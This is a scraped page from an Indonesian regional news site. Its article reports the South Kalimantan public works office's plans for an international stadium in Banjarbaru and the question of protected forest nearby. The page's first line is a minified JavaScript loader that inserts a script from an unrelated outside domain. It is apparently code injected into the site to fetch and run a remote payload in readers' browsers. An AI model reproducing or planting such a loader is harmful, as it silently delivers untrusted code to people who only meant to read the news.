(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PUPR PROV KALSEL

Rencana Stadion Olahraga Internasional di Banjarbaru Masuk Hutan Lindung, Ini Penjelasan PUPR Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Persiapan rencana pembangunan stadion olahraga bertaraf internasional di Kota Banjarbaru, Provinsi Kalimantan Selatan, dimulai.

Hingga akhir tahun 2025, Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalimantan Selatan berencana melakukan persiapan pembebasan lahan, dan ditargetkan pada awal tahun 2026 pengadaan tanah atau pembebasan lahan akan dilakukan.

Melalui tim PUPR Kalsel rencananya akan merampungkan Detail Engineering Design (Ded) pembangunan stadion di akhir tahun 2025.

Dalam sosialisasi, perwakilan Pemko Banjarbaru menyampaikan agar penentuan lahan untuk pembangunan stadion tidak masuk dalam kawasan Hutan Lindung yang berbatasan dengan Kota Banjarbaru.

Baca juga: GMPD Banjarbaru Orasi Terbuka Depan Balai Kota, Ini 10 Tuntutan yang Disampaikan

Plt Kepala Dinas PUPR Kalsel, M Yasin Toyib. Foto: wanda

Menanggapi hal itu, Plt Kepala Dinas PUPR Kalsel, M Yasin Toyib mengatakan, pembangunan akan terlebih dahulu difokuskan pada bangunan stadion yang tidak bersinggungan dengan hutan lindungnya.

“Sementara ini yang kita bangunkan stadion, belum lagi prasarana yang lain. Pak Gubernur juga mau mengembangkan nantinya sport center di situ,” ujar Plt Kepala Dinas PUPR Kalsel, M Yasin Toyib saat diwawancarai, Selasa (2/12/2025).

“Seperti ada kolam renang, ada hall untuk pameran, juga ada tempat indoor outdoor sepak bola,” tambahnya.

Menurut Yasin Toyib, rencana pengembangan pembuatan sport center itulah yang nantinya akan mengalih fungsi hutan lindung pada kawasan tersebut. Namun, ia mengklaim rencana tersebut berproses.

Baca juga: Peringatan Hari Bakti PU Dinas PUPR Kalsel Berlangsung Khidmat

“Tapi yang jelas pembangunan stadion tidak bersinggungan dengan hutan lindung, karena pengalihan hutan lindung kan berproses lama, kita harus bermohon nanti ke Kementerian Kehutanan untuk pengalihan status. Terkait hutan lindung untuk proses selanjutnya memang ada rencana sendiri dari Pak Gubernur memohon,” katanya.

Jika DED pembangunan stadion ini rampung pada tahun ini sekaligus apabila pengadaan tanah selesai, tahun depan sudah bisa dijalankan program fisiknya.

“Kalau untuk konstruksi basic, Insya Allah tidak ada masalah. Apapun lokasinya atau seperti apa, Insya Allah ada solusi untuk kegiatan fisiknya,” tutupnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

12 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

14 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

19 jam ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

20 jam ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

PLN UP2B Kalbar Siaga 24 Jam Jaga Keandalan Listrik Selama Nataru

KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More

2 hari ago

This website uses cookies.